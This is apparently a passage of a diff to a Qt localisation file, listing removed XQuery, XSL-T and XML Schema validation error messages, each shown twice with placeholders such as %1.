    -            An argument with name %1 has already been declared. Every argument name must be unique.
    -            An argument with name %1 has already been declared. Every argument name must be unique.
    -        
    -        
    -            When function %1 is used for matching inside a pattern, the argument must be a variable reference or a string literal.
    -            When function %1 is used for matching inside a pattern, the argument must be a variable reference or a string literal.
    -        
    -        
    -            In an XSL-T pattern, the first argument to function %1 must be a string literal, when used for matching.
    -            In an XSL-T pattern, the first argument to function %1 must be a string literal, when used for matching.
    -        
    -        
    -            In an XSL-T pattern, the first argument to function %1 must be a literal or a variable reference, when used for matching.
    -            In an XSL-T pattern, the first argument to function %1 must be a literal or a variable reference, when used for matching.
    -        
    -        
    -            In an XSL-T pattern, function %1 cannot have a third argument.
    -            In an XSL-T pattern, function %1 cannot have a third argument.
    -        
    -        
    -            In an XSL-T pattern, only function %1 and %2, not %3, can be used for matching.
    -            In an XSL-T pattern, only function %1 and %2, not %3, can be used for matching.
    -        
    -        
    -            In an XSL-T pattern, axis %1 cannot be used, only axis %2 or %3 can.
    -            In an XSL-T pattern, axis %1 cannot be used, only axis %2 or %3 can.
    -        
    -        
    -            %1 is an invalid template mode name.
    -            %1 is an invalid template mode name.
    -        
    -        
    -            The name of a variable bound in a for-expression must be different from the positional variable. Hence, the two variables named %1 collide.
    -            The name of a variable bound in a for-expression must be different from the positional variable. Hence, the two variables named %1 collide.
    -        
    -        
    -            The Schema Validation Feature is not supported. Hence, %1-expressions may not be used.
    -            The Schema Validation Feature is not supported. Hence, %1-expressions may not be used.
    -        
    -        
    -            None of the pragma expressions are supported. Therefore, a fallback expression must be present
    -            None of the pragma expressions are supported. Therefore, a fallback expression must be present
    -        
    -        
    -            Each name of a template parameter must be unique; %1 is duplicated.
    -            Each name of a template parameter must be unique; %1 is duplicated.
    -        
    -        
    -            No function with name %1 is available.
    -            No function with name %1 is available.
    -        
    -        
    -            %1 is not a valid numeric literal.
    -            %1 is not a valid numeric literal.
    -        
    -        
    -            W3C XML Schema identity constraint selector
    -            W3C XML Schema identity constraint selector
    -        
    -        
    -            W3C XML Schema identity constraint field
    -            W3C XML Schema identity constraint field
    -        
    -        
    -            A construct was encountered which is disallowed in the current language(%1).
    -            A construct was encountered which is disallowed in the current language(%1).
    -        
    -        
    -            Namespace %1 can only be bound to %2 (and it is, in either case, pre-declared).
    -            Namespace %1 can only be bound to %2 (and it is, in either case, pre-declared).
    -        
    -        
    -            Prefix %1 can only be bound to %2 (and it is, in either case, pre-declared).
    -            Prefix %1 can only be bound to %2 (and it is, in either case, pre-declared).
    -        
    -        
    -            An attribute with name %1 has already appeared on this element.
    -            An attribute with name %1 has already appeared on this element.
    -        
    -        
    -            A direct element constructor is not well-formed. %1 is ended with %2.
    -            A direct element constructor is not well-formed. %1 is ended with %2.
    -        
    -        
    -            The name %1 does not refer to any schema type.
    -            The name %1 does not refer to any schema type.
    -        
    -        
    -            %1 is an complex type. Casting to complex types is not possible. However, casting to atomic types such as %2 works.
    -            %1 is an complex type. Casting to complex types is not possible. However, casting to atomic types such as %2 works.
    -        
    -        
    -            %1 is not an atomic type. Casting is only possible to atomic types.
    -            %1 is not an atomic type. Casting is only possible to atomic types.
    -        
    -        
    -            %1 is not a valid name for a processing-instruction.
    -            %1 is not a valid name for a processing-instruction.
    -        
    -        
    -            The name of an extension expression must be in a namespace.
    -            The name of an extension expression must be in a namespace.
    -        
    -        
    -            Required type is %1, but %2 was found.
    -            Required type is %1, but %2 was found.
    -        
    -        
    -            Promoting %1 to %2 may cause loss of precision.
    -            Promoting %1 to %2 may cause loss of precision.
    -        
    -        
    -            It's not possible to add attributes after any other kind of node.
    -            It's not possible to add attributes after any other kind of node.
    -        
    -        
    -            Only the Unicode Codepoint Collation is supported(%1). %2 is unsupported.
    -            Only the Unicode Codepoint Collation is supported(%1). %2 is unsupported.
    -        
    -        
    -            Integer division (%1) by zero (%2) is undefined.
    -            Integer division (%1) by zero (%2) is undefined.
    -        
    -        
    -            Division (%1) by zero (%2) is undefined.
    -            Division (%1) by zero (%2) is undefined.
    -        
    -        
    -            Modulus division (%1) by zero (%2) is undefined.
    -            Modulus division (%1) by zero (%2) is undefined.
    -        
    -        
    -            %1 takes at most %n argument(s). %2 is therefore invalid.
    -            
    -                %1 takes at most %n argument(s). %2 is therefore invalid.
    -                %1 takes at most %n argument(s). %2 is therefore invalid.
    -            
    -        
    -        
    -            %1 requires at least %n argument(s). %2 is therefore invalid.
    -            
    -                %1 requires at least %n argument(s). %2 is therefore invalid.
    -                %1 requires at least %n argument(s). %2 is therefore invalid.
    -            
    -        
    -        
    -            The root node of the second argument to function %1 must be a document node. %2 is not a document node.
    -            The root node of the second argument to function %1 must be a document node. %2 is not a document node.
    -        
    -        
    -            The namespace for a user defined function cannot be empty (try the predefined prefix %1 which exists for cases like this)
    -            The namespace for a user defined function cannot be empty (try the predefined prefix %1 which exists for cases like this)
    -        
    -        
    -            A default namespace declaration must occur before function, variable, and option declarations.
    -            A default namespace declaration must occur before function, variable, and option declarations.
    -        
    -        
    -            Namespace declarations must occur before function, variable, and option declarations.
    -            Namespace declarations must occur before function, variable, and option declarations.
    -        
    -        
    -            Module imports must occur before function, variable, and option declarations.
    -            Module imports must occur before function, variable, and option declarations.
    -        
    -        
    -            %1 is not a whole number of minutes.
    -            %1 is not a whole number of minutes.
    -        
    -        
    -            Attribute %1 can't be serialized because it appears at the top level.
    -            Attribute %1 can't be serialized because it appears at the top level.
    -        
    -        
    -            %1 is an unsupported encoding.
    -            %1 is an unsupported encoding.
    -        
    -        
    -            %1 contains octets which are disallowed in the requested encoding %2.
    -            %1 contains octets which are disallowed in the requested encoding %2.
    -        
    -        
    -            The codepoint %1, occurring in %2 using encoding %3, is an invalid XML character.
    -            The codepoint %1, occurring in %2 using encoding %3, is an invalid XML character.
    -        
    -        
    -            Ambiguous rule match.
    -            Ambiguous rule match.
    -        
    -        
    -            In a namespace constructor, the value for a namespace cannot be an empty string.
    -            In a namespace constructor, the value for a namespace cannot be an empty string.
    -        
    -        
    -            The prefix must be a valid %1, which %2 is not.
    -            The prefix must be a valid %1, which %2 is not.
    -        
    -        
    -            The prefix %1 cannot be bound.
    -            The prefix %1 cannot be bound.
    -        
    -        
    -            Only the prefix %1 can be bound to %2 and vice versa.
    -            Only the prefix %1 can be bound to %2 and vice versa.
    -        
    -        
    -            The parameter %1 is required, but no corresponding %2 is supplied.
    -            The parameter %1 is required, but no corresponding %2 is supplied.
    -        
    -        
    -            The parameter %1 is passed, but no corresponding %2 exists.
    -            The parameter %1 is passed, but no corresponding %2 exists.
    -        
    -        
    -            The URI cannot have a fragment
    -            The URI cannot have a fragment
    -        
    -        
    -            Element %1 is not allowed at this location.
    -            Element %1 is not allowed at this location.
    -        
    -        
    -            Text nodes are not allowed at this location.
    -            Text nodes are not allowed at this location.
    -        
    -        
    -            Parse error: %1
    -            Parse error: %1
    -        
    -        
    -            The value of the XSL-T version attribute must be a value of type %1, which %2 isn't.
    -            The value of the XSL-T version attribute must be a value of type %1, which %2 isn't.
    -        
    -        
    -            Running an XSL-T 1.0 stylesheet with a 2.0 processor.
    -            Running an XSL-T 1.0 stylesheet with a 2.0 processor.
    -        
    -        
    -            Unknown XSL-T attribute %1.
    -            Unknown XSL-T attribute %1.
    -        
    -        
    -            Attribute %1 and %2 are mutually exclusive.
    -            Attribute %1 and %2 are mutually exclusive.
    -        
    -        
    -            In a simplified stylesheet module, attribute %1 must be present.
    -            In a simplified stylesheet module, attribute %1 must be present.
    -        
    -        
    -            If element %1 has no attribute %2, it cannot have attribute %3 or %4.
    -            If element %1 has no attribute %2, it cannot have attribute %3 or %4.
    -        
    -        
    -            Element %1 must have at least one of the attributes %2 or %3.
    -            Element %1 must have at least one of the attributes %2 or %3.
    -        
    -        
    -            At least one mode must be specified in the %1-attribute on element %2.
    -            At least one mode must be specified in the %1-attribute on element %2.
    -        
    -        
    -            Element %1 must come last.
    -            Element %1 must come last.
    -        
    -        
    -            At least one %1-element must occur before %2.
    -            At least one %1-element must occur before %2.
    -        
    -        
    -            Only one %1-element can appear.
    -            Only one %1-element can appear.
    -        
    -        
    -            At least one %1-element must occur inside %2.
    -            At least one %1-element must occur inside %2.
    -        
    -        
    -            When attribute %1 is present on %2, a sequence constructor cannot be used.
    -            When attribute %1 is present on %2, a sequence constructor cannot be used.
    -        
    -        
    -            Element %1 must have either a %2-attribute or a sequence constructor.
    -            Element %1 must have either a %2-attribute or a sequence constructor.
    -        
    -        
    -            When a parameter is required, a default value cannot be supplied through a %1-attribute or a sequence constructor.
    -            When a parameter is required, a default value cannot be supplied through a %1-attribute or a sequence constructor.
    -        
    -        
    -            Element %1 cannot have children.
    -            Element %1 cannot have children.
    -        
    -        
    -            Element %1 cannot have a sequence constructor.
    -            Element %1 cannot have a sequence constructor.
    -        
    -        
    -            The attribute %1 cannot appear on %2, when it is a child of %3.
    -            The attribute %1 cannot appear on %2, when it is a child of %3.
    -        
    -        
    -            A parameter in a function cannot be declared to be a tunnel.
    -            A parameter in a function cannot be declared to be a tunnel.
    -        
    -        
    -            This processor is not Schema-aware and therefore %1 cannot be used.
    -            This processor is not Schema-aware and therefore %1 cannot be used.
    -        
    -        
    -            Top level stylesheet elements must be in a non-null namespace, which %1 isn't.
    -            Top level stylesheet elements must be in a non-null namespace, which %1 isn't.
    -        
    -        
    -            The value for attribute %1 on element %2 must either be %3 or %4, not %5.
    -            The value for attribute %1 on element %2 must either be %3 or %4, not %5.
    -        
    -        
    -            Attribute %1 cannot have the value %2.
    -            Attribute %1 cannot have the value %2.
    -        
    -        
    -            The attribute %1 can only appear on the first %2 element.
    -            The attribute %1 can only appear on the first %2 element.
    -        
    -        
    -            At least one %1 element must appear as child of %2.
    -            At least one %1 element must appear as child of %2.
    -        
    -        
    -            %1 has inheritance loop in its base type %2.
    -            %1 has inheritance loop in its base type %2.
    -        
    -        
    -            Circular inheritance of base type %1.
    -            Circular inheritance of base type %1.
    -        
    -        
    -            Circular inheritance of union %1.
    -            Circular inheritance of union %1.
    -        
    -        
    -            %1 is not allowed to derive from %2 by restriction as the latter defines it as final.
    -            %1 is not allowed to derive from %2 by restriction as the latter defines it as final.
    -        
    -        
    -            %1 is not allowed to derive from %2 by extension as the latter defines it as final.
    -            %1 is not allowed to derive from %2 by extension as the latter defines it as final.
    -        
    -        
    -            Base type of simple type %1 cannot be complex type %2.
    -            Base type of simple type %1 cannot be complex type %2.
    -        
    -        
    -            Simple type %1 cannot have direct base type %2.
    -            Simple type %1 cannot have direct base type %2.
    -        
    -        
    -            Simple type %1 is not allowed to have base type %2.
    -            Simple type %1 is not allowed to have base type %2.
    -        
    -        
    -            Simple type %1 can only have simple atomic type as base type.
    -            Simple type %1 can only have simple atomic type as base type.
    -        
    -        
    -            Simple type %1 cannot derive from %2 as the latter defines restriction as final.
    -            Simple type %1 cannot derive from %2 as the latter defines restriction as final.
    -        
    -        
    -            Variety of item type of %1 must be either atomic or union.
    -            Variety of item type of %1 must be either atomic or union.
    -        
    -        
    -            Variety of member types of %1 must be atomic.
    -            Variety of member types of %1 must be atomic.
    -        
    -        
    -            %1 is not allowed to derive from %2 by list as the latter defines it as final.
    -            %1 is not allowed to derive from %2 by list as the latter defines it as final.
    -        
    -        
    -            Simple type %1 is only allowed to have %2 facet.
    -            Simple type %1 is only allowed to have %2 facet.
    -        
    -        
    -            Base type of simple type %1 must have variety of type list.
    -            Base type of simple type %1 must have variety of type list.
    -        
    -        
    -            Base type of simple type %1 has defined derivation by restriction as final.
    -            Base type of simple type %1 has defined derivation by restriction as final.
    -        
    -        
    -            Item type of base type does not match item type of %1.
    -            Item type of base type does not match item type of %1.
    -        
    -        
    -            Simple type %1 contains not allowed facet type %2.
    -            Simple type %1 contains not allowed facet type %2.
    -        
    -        
    -            %1 is not allowed to derive from %2 by union as the latter defines it as final.
    -            %1 is not allowed to derive from %2 by union as the latter defines it as final.
    -        
    -        
    -            %1 is not allowed to have any facets.
    -            %1 is not allowed to have any facets.
    -        
    -        
    -            Base type %1 of simple type %2 must have variety of union.
    -            Base type %1 of simple type %2 must have variety of union.
    -        
    -        
    -            Base type %1 of simple type %2 is not allowed to have restriction in %3 attribute.
    -            Base type %1 of simple type %2 is not allowed to have restriction in %3 attribute.
    -        
    -        
    -            Member type %1 cannot be derived from member type %2 of %3's base type %4.
    -            Member type %1 cannot be derived from member type %2 of %3's base type %4.
    -        
    -        
    -            Derivation method of %1 must be extension because the base type %2 is a simple type.
    -            Derivation method of %1 must be extension because the base type %2 is a simple type.
    -        
    -        
    -            Complex type %1 has duplicated element %2 in its content model.
    -            Complex type %1 has duplicated element %2 in its content model.
    -        
    -        
    -            Complex type %1 has non-deterministic content.
    -            Complex type %1 has non-deterministic content.
    -        
    -        
    -            Attributes of complex type %1 are not a valid extension of the attributes of base type %2: %3.
    -            Attributes of complex type %1 are not a valid extension of the attributes of base type %2: %3.
    -        
    -        
    -            Content model of complex type %1 is not a valid extension of content model of %2.
    -            Content model of complex type %1 is not a valid extension of content model of %2.
    -        
    -        
    -            Complex type %1 must have simple content.
    -            Complex type %1 must have simple content.
    -        
    -        
    -            Complex type %1 must have the same simple type as its base class %2.
    -            Complex type %1 must have the same simple type as its base class %2.
    -        
    -        
    -            Complex type %1 cannot be derived from base type %2%3.
    -            Complex type %1 cannot be derived from base type %2%3.
    -        
    -        
    -            Attributes of complex type %1 are not a valid restriction from the attributes of base type %2: %3.
    -            Attributes of complex type %1 are not a valid restriction from the attributes of base type %2: %3.
    -        
    -        
    -            Complex type %1 with simple content cannot be derived from complex base type %2.
    -            Complex type %1 with simple content cannot be derived from complex base type %2.
    -        
    -        
    -            Item type of simple type %1 cannot be a complex type.
    -            Item type of simple type %1 cannot be a complex type.
    -        
    -        
    -            Member type of simple type %1 cannot be a complex type.
    -            Member type of simple type %1 cannot be a complex type.
    -        
    -        
    -            %1 is not allowed to have a member type with the same name as itself.
    -            %1 is not allowed to have a member type with the same name as itself.
    -        
    -        
    -            %1 facet collides with %2 facet.
    -            %1 facet collides with %2 facet.
    -        
    -        
    -            %1 facet must have the same value as %2 facet of base type.
    -            %1 facet must have the same value as %2 facet of base type.
    -        
    -        
    -            %1 facet must be equal or greater than %2 facet of base type.
    -            %1 facet must be equal or greater than %2 facet of base type.
    -        
    -        
    -            %1 facet must be less than or equal to %2 facet of base type.
    -            %1 facet must be less than or equal to %2 facet of base type.
    -        
    -        
    -            %1 facet contains invalid regular expression
    -            %1 facet contains invalid regular expression
    -        
    -        
    -            Unknown notation %1 used in %2 facet.
    -            Unknown notation %1 used in %2 facet.
    -        
    -        
    -            %1 facet contains invalid value %2: %3.
    -            %1 facet contains invalid value %2: %3.
    -        
    -        
    -            %1 facet cannot be %2 or %3 if %4 facet of base type is %5.
    -            %1 facet cannot be %2 or %3 if %4 facet of base type is %5.
    -        
    -        
    -            %1 facet cannot be %2 if %3 facet of base type is %4.
    -            %1 facet cannot be %2 if %3 facet of base type is %4.
    -        
    -        
    -            %1 facet must be less than or equal to %2 facet.
    -            %1 facet must be less than or equal to %2 facet.
    -        
    -        
    -            %1 facet must be less than %2 facet of base type.
    -            %1 facet must be less than %2 facet of base type.
    -        
    -        
    -            %1 facet and %2 facet cannot appear together.
    -            %1 facet and %2 facet cannot appear together.
    -        
    -        
    -            %1 facet must be greater than %2 facet of base type.
    -            %1 facet must be greater than %2 facet of base type.
    -        
    -        
    -            %1 facet must be less than %2 facet.
    -            %1 facet must be less than %2 facet.
    -        
    -        
    -            %1 facet must be greater than or equal to %2 facet of base type.
    -            %1 facet must be greater than or equal to %2 facet of base type.
    -        
    -        
    -            Simple type contains not allowed facet %1.
    -            Simple type contains not allowed facet %1.
    -        
    -        
    -            %1, %2, %3, %4, %5 and %6 facets are not allowed when derived by list.
    -            %1, %2, %3, %4, %5 and %6 facets are not allowed when derived by list.
    -        
    -        
    -            Only %1 and %2 facets are allowed when derived by union.
    -            Only %1 and %2 facets are allowed when derived by union.
    -        
    -        
    -            %1 contains %2 facet with invalid data: %3.
    -            %1 contains %2 facet with invalid data: %3.
    -        
    -        
    -            Attribute group %1 contains attribute %2 twice.
    -            Attribute group %1 contains attribute %2 twice.
    -        
    -        
    -            Attribute group %1 contains two different attributes that both have types derived from %2.
    -            Attribute group %1 contains two different attributes that both have types derived from %2.
    -        
    -        
    -            Attribute group %1 contains attribute %2 that has value constraint but type that inherits from %3.
    -            Attribute group %1 contains attribute %2 that has value constraint but type that inherits from %3.
    -        
    -        
    -            Complex type %1 contains attribute %2 twice.
    -            Complex type %1 contains attribute %2 twice.
    -        
    -        
    -            Complex type %1 contains two different attributes that both have types derived from %2.
    -            Complex type %1 contains two different attributes that both have types derived from %2.
    -        
    -        
    -            Complex type %1 contains attribute %2 that has value constraint but type that inherits from %3.
    -            Complex type %1 contains attribute %2 that has value constraint but type that inherits from %3.
    -        
    -        
    -            Element %1 is not allowed to have a value constraint if its base type is complex.
    -            Element %1 is not allowed to have a value constraint if its base type is complex.
    -        
    -        
    -            Element %1 is not allowed to have a value constraint if its type is derived from %2.
    -            Element %1 is not allowed to have a value constraint if its type is derived from %2.
    -        
    -        
    -            Value constraint of element %1 is not of elements type: %2.
    -            Value constraint of element %1 is not of elements type: %2.
    -        
    -        
    -            Element %1 is not allowed to have substitution group affiliation as it is no global element.
    -            Element %1 is not allowed to have substitution group affiliation as it is no global element.
    -        
    -        
    -            Type of element %1 cannot be derived from type of substitution group affiliation.
    -            Type of element %1 cannot be derived from type of substitution group affiliation.
    -        
    -        
    -            Value constraint of attribute %1 is not of attributes type: %2.
    -            Value constraint of attribute %1 is not of attributes type: %2.
    -        
    -        
    -            Attribute %1 has value constraint but has type derived from %2.
    -            Attribute %1 has value constraint but has type derived from %2.
    -        
    -        
    -            %1 attribute in derived complex type must be %2 like in base type.
    -            %1 attribute in derived complex type must be %2 like in base type.
    -        
    -        
    -            Attribute %1 in derived complex type must have %2 value constraint like in base type.
    -            Attribute %1 in derived complex type must have %2 value constraint like in base type.
    -        
    -        
    -            Attribute %1 in derived complex type must have the same %2 value constraint like in base type.
    -            Attribute %1 in derived complex type must have the same %2 value constraint like in base type.
    -        
    -        
    -            Attribute %1 in derived complex type must have %2 value constraint.
    -            Attribute %1 in derived complex type must have %2 value constraint.
    -        
    -        
    -            processContent of base wildcard must be weaker than derived wildcard.
    -            processContent of base wildcard must be weaker than derived wildcard.
    -        
    -        
    -            Element %1 exists twice with different types.
    -            Element %1 exists twice with different types.
    -        
    -        
    -            Particle contains non-deterministic wildcards.
    -            Particle contains non-deterministic wildcards.
    -        
    -        
    -            Base attribute %1 is required but derived attribute is not.
    -            Base attribute %1 is required but derived attribute is not.
    -        
    -        
    -            Type of derived attribute %1 cannot be validly derived from type of base attribute.
    -            Type of derived attribute %1 cannot be validly derived from type of base attribute.
    -        
    -        
    -            Value constraint of derived attribute %1 does not match value constraint of base attribute.
    -            Value constraint of derived attribute %1 does not match value constraint of base attribute.
    -        
    -        
    -            Derived attribute %1 does not exist in the base definition.
    -            Derived attribute %1 does not exist in the base definition.
    -        
    -        
    -            Derived attribute %1 does not match the wildcard in the base definition.
    -            Derived attribute %1 does not match the wildcard in the base definition.
    -        
    -        
    -            Base attribute %1 is required but missing in derived definition.
    -            Base attribute %1 is required but missing in derived definition.
    -        
    -        
    -            Derived definition contains an %1 element that does not exists in the base definition
    -            Derived definition contains an %1 element that does not exists in the base definition
    -        
    -        
    -            Derived wildcard is not a subset of the base wildcard.
    -            Derived wildcard is not a subset of the base wildcard.
    -        
    -        
    -            %1 of derived wildcard is not a valid restriction of %2 of base wildcard
    -            %1 of derived wildcard is not a valid restriction of %2 of base wildcard
    -        
    -        
    -            Attribute %1 from base type is missing in derived type.
    -            Attribute %1 from base type is missing in derived type.
    -        
    -        
    -            Type of derived attribute %1 differs from type of base attribute.
    -            Type of derived attribute %1 differs from type of base attribute.
    -        
    -        
    -            Base definition contains an %1 element that is missing in the derived definition
    -            Base definition contains an %1 element that is missing in the derived definition
    -        
    -        
    -            %1 references unknown %2 or %3 element %4.
    -            %1 references unknown %2 or %3 element %4.
    -        
    -        
    -            %1 references identity constraint %2 that is no %3 or %4 element.
    -            %1 references identity constraint %2 that is no %3 or %4 element.
    -        
    -        
    -            %1 has a different number of fields from the identity constraint %2 that it references.
    -            %1 has a different number of fields from the identity constraint %2 that it references.
    -        
    -        
    -            Base type %1 of %2 element cannot be resolved.
    -            Base type %1 of %2 element cannot be resolved.
    -        
    -        
    -            Item type %1 of %2 element cannot be resolved.
    -            Item type %1 of %2 element cannot be resolved.
    -        
    -        
    -            Member type %1 of %2 element cannot be resolved.
    -            Member type %1 of %2 element cannot be resolved.
    -        
    -        
    -            Type %1 of %2 element cannot be resolved.
    -            Type %1 of %2 element cannot be resolved.
    -        
    -        
    -            Base type %1 of complex type cannot be resolved.
    -            Base type %1 of complex type cannot be resolved.
    -        
    -        
    -            %1 cannot have complex base type that has a %2.
    -            %1 cannot have complex base type that has a %2.
    -        
    -        
    -            Content model of complex type %1 contains %2 element so it cannot be derived by extension from a non-empty type.
    -            Content model of complex type %1 contains %2 element so it cannot be derived by extension from a non-empty type.
    -        
    -        
    -            Complex type %1 cannot be derived by extension from %2 as the latter contains %3 element in its content model.
    -            Complex type %1 cannot be derived by extension from %2 as the latter contains %3 element in its content model.
    -        
    -        
    -            Type of %1 element must be a simple type, %2 is not.
    -            Type of %1 element must be a simple type, %2 is not.
    -        
    -        
    -            Substitution group %1 of %2 element cannot be resolved.
    -            Substitution group %1 of %2 element cannot be resolved.
    -        
    -        
    -            Substitution group %1 has circular definition.
    -            Substitution group %1 has circular definition.
    -        
    -        
    -            Duplicated element names %1 in %2 element.
    -            Duplicated element names %1 in %2 element.
    -        
    -        
    -            Reference %1 of %2 element cannot be resolved.
    -            Reference %1 of %2 element cannot be resolved.
    -        
    -        
    -            Circular group reference for %1.
    -            Circular group reference for %1.
    -        
    -        
    -            %1 element is not allowed in this scope
    -            %1 element is not allowed in this scope
    -        
    -        
    -            %1 element cannot have %2 attribute with value other than %3.
    -            %1 element cannot have %2 attribute with value other than %3.
    -        
    -        
    -            %1 element cannot have %2 attribute with value other than %3 or %4.
    -            %1 element cannot have %2 attribute with value other than %3 or %4.
    -        
    -        
    -            %1 or %2 attribute of reference %3 does not match with the attribute declaration %4.
    -            %1 or %2 attribute of reference %3 does not match with the attribute declaration %4.
    -        
    -        
    -            Attribute group %1 has circular reference.
    -            Attribute group %1 has circular reference.
    -        
    -        
    -            %1 attribute in %2 must have %3 use like in base type %4.
    -            %1 attribute in %2 must have %3 use like in base type %4.
    -        
    -        
    -            Attribute wildcard of %1 is not a valid restriction of attribute wildcard of base type %2.
    -            Attribute wildcard of %1 is not a valid restriction of attribute wildcard of base type %2.
    -        
    -        
    -            %1 has attribute wildcard but its base type %2 has not.
    -            %1 has attribute wildcard but its base type %2 has not.
    -        
    -        
    -            Union of attribute wildcard of type %1 and attribute wildcard of its base type %2 is not expressible.
    -            Union of attribute wildcard of type %1 and attribute wildcard of its base type %2 is not expressible.
    -        
    -        
    -            Enumeration facet contains invalid content: {%1} is not a value of type %2.
    -            Enumeration facet contains invalid content: {%1} is not a value of type %2.
    -        
    -        
    -            Namespace prefix of qualified name %1 is not defined.
    -            Namespace prefix of qualified name %1 is not defined.
    -        
    -        
    -            %1 element %2 is not a valid restriction of the %3 element it redefines: %4.
    -            %1 element %2 is not a valid restriction of the %3 element it redefines: %4.
    -        
    -        
    -            Empty particle cannot be derived from non-empty particle.
    -            Empty particle cannot be derived from non-empty particle.
    -        
    -        
    -            Derived particle is missing element %1.
    -            Derived particle is missing element %1.
    -        
    -        
    -            Derived element %1 is missing value constraint as defined in base particle.
    -            Derived element %1 is missing value constraint as defined in base particle.
    -        
    -        
    -            Derived element %1 has weaker value constraint than base particle.
    -            Derived element %1 has weaker value constraint than base particle.
    -        
    -        
    -            Fixed value constraint of element %1 differs from value constraint in base particle.
    -            Fixed value constraint of element %1 differs from value constraint in base particle.
    -        
    -        
    -            Derived element %1 cannot be nillable as base element is not nillable.
    -            Derived element %1 cannot be nillable as base element is not nillable.
    -        
    -        
    -            Block constraints of derived element %1 must not be more weaker than in the base element.
    -            Block constraints of derived element %1 must not be more weaker than in the base element.
    -        
    -        
    -            Simple type of derived element %1 cannot be validly derived from base element.
    -            Simple type of derived element %1 cannot be validly derived from base element.
    -        
    -        
    -            Complex type of derived element %1 cannot be validly derived from base element.
    -            Complex type of derived element %1 cannot be validly derived from base element.
    -        
    -        
    -            Element %1 is missing in derived particle.
    -            Element %1 is missing in derived particle.
    -        
    -        
    -            Element %1 does not match namespace constraint of wildcard in base particle.
    -            Element %1 does not match namespace constraint of wildcard in base particle.
    -        
    -        
    -            Wildcard in derived particle is not a valid subset of wildcard in base particle.
    -            Wildcard in derived particle is not a valid subset of wildcard in base particle.
    -        
    -        
    -            processContent of wildcard in derived particle is weaker than wildcard in base particle.
    -            processContent of wildcard in derived particle is weaker than wildcard in base particle.
    -        
    -        
    -            Derived particle allows content that is not allowed in the base particle.
    -            Derived particle allows content that is not allowed in the base particle.
    -        
    -        
    -            Can not process unknown element %1, expected elements are: %2.
    -            Can not process unknown element %1, expected elements are: %2.
    -        
    -        
    -            Element %1 is not allowed in this scope, possible elements are: %2.
    -            Element %1 is not allowed in this scope, possible elements are: %2.
    -        
    -        
    -            Child element is missing in that scope, possible child elements are: %1.
    -            Child element is missing in that scope, possible child elements are: %1.
    -        
    -        
    -            Document is not a XML schema.
    -            Document is not a XML schema.
    -        
    -        
    -            %1 attribute of %2 element contains invalid content: {%3} is not a value of type %4.
    -            %1 attribute of %2 element contains invalid content: {%3} is not a value of type %4.
    -        
    -        
    -            %1 attribute of %2 element contains invalid content: {%3}.
    -            %1 attribute of %2 element contains invalid content: {%3}.
    -        
    -        
    -            Target namespace %1 of included schema is different from the target namespace %2 as defined by the including schema.
    -            Target namespace %1 of included schema is different from the target namespace %2 as defined by the including schema.
    -        
    -        
    -            Target namespace %1 of imported schema is different from the target namespace %2 as defined by the importing schema.
    -            Target namespace %1 of imported schema is different from the target namespace %2 as defined by the importing schema.
    -        
    -        
    -            %1 element is not allowed to have the same %2 attribute value as the target namespace %3.
    -            %1 element is not allowed to have the same %2 attribute value as the target namespace %3.
    -        
    -        
    -            %1 element without %2 attribute is not allowed inside schema without target namespace.
    -            %1 element without %2 attribute is not allowed inside schema without target namespace.
    -        
    -        
    -            %1 element is not allowed inside %2 element if %3 attribute is present.
    -            %1 element is not allowed inside %2 element if %3 attribute is present.
    -        
    -        
    -            %1 element has neither %2 attribute nor %3 child element.
    -            %1 element has neither %2 attribute nor %3 child element.
    -        
    -        
    -            %1 element with %2 child element must not have a %3 attribute.
    -            %1 element with %2 child element must not have a %3 attribute.
    -        
    -        
    -            %1 attribute of %2 element must be %3 or %4.
    -            %1 attribute of %2 element must be %3 or %4.
    -        
    -        
    -            %1 attribute of %2 element must have a value of %3.
    -            %1 attribute of %2 element must have a value of %3.
    -        
    -        
    -            %1 attribute of %2 element must have a value of %3 or %4.
    -            %1 attribute of %2 element must have a value of %3 or %4.
    -        
    -        
    -            %1 element must not have %2 and %3 attribute together.
    -            %1 element must not have %2 and %3 attribute together.
    -        
    -        
    -            Content of %1 attribute of %2 element must not be from namespace %3.
    -            Content of %1 attribute of %2 element must not be from namespace %3.
    -        
    -        
    -            %1 attribute of %2 element must not be %3.
    -            %1 attribute of %2 element must not be %3.
    -        
    -        
    -            %1 attribute of %2 element must have the value %3 because the %4 attribute is set.
    -            %1 attribute of %2 element must have the value %3 because the %4 attribute is set.
    -        
    -        
    -            Specifying use='prohibited' inside an attribute group has no effect.
    -            Specifying use='prohibited' inside an attribute group has no effect.
    -        
    -        
    -            %1 element must have either %2 or %3 attribute.
    -            %1 element must have either %2 or %3 attribute.
    -        
    -        
    -            %1 element must have either %2 attribute or %3 or %4 as child element.
    -            %1 element must have either %2 attribute or %3 or %4 as child element.
    -        
    -        
    -            %1 element requires either %2 or %3 attribute.
    -            %1 element requires either %2 or %3 attribute.
    -        
    -        
    -            Text or entity references not allowed inside %1 element
    -            Text or entity references not allowed inside %1 element
    -        
    -        
    -            %1 attribute of %2 element must contain %3, %4 or a list of URIs.
    -            %1 attribute of %2 element must contain %3, %4 or a list of URIs.
    -        
    -        
    -            %1 element is not allowed in this context.
    -            %1 element is not allowed in this context.
    -        
    -        
    -            %1 attribute of %2 element has larger value than %3 attribute.
    -            %1 attribute of %2 element has larger value than %3 attribute.
    -        
    -        
    -            Prefix of qualified name %1 is not defined.
    -            Prefix of qualified name %1 is not defined.
    -        
    -        
    -            %1 attribute of %2 element must either contain %3 or the other values.
    -            %1 attribute of %2 element must either contain %3 or the other values.
    -        
    -        
    -            Component with ID %1 has been defined previously.
    -            Component with ID %1 has been defined previously.
    -        
    -        
    -            Element %1 already defined.
    -            Element %1 already defined.
    -        
    -        
    -            Attribute %1 already defined.
    -            Attribute %1 already defined.
    -        
    -        
    -            Type %1 already defined.
    -            Type %1 already defined.
    -        
    -        
    -            Attribute group %1 already defined.
    -            Attribute group %1 already defined.
    -        
    -        
    -            Element group %1 already defined.
    -            Element group %1 already defined.
    -        
    -        
    -            Notation %1 already defined.
    -            Notation %1 already defined.
    -        
    -        
    -            Identity constraint %1 already defined.
    -            Identity constraint %1 already defined.
    -        
    -        
    -            Duplicated facets in simple type %1.
    -            Duplicated facets in simple type %1.
    -        
    -        
    -            %1 is not valid according to %2.
    -            %1 is not valid according to %2.
    -        
    -        
    -            String content does not match the length facet.
    -            String content does not match the length facet.
    -        
    -        
    -            String content does not match the minLength facet.
    -            String content does not match the minLength facet.
    -        
    -        
    -            String content does not match the maxLength facet.
    -            String content does not match the maxLength facet.
    -        
    -        
    -            String content does not match pattern facet.
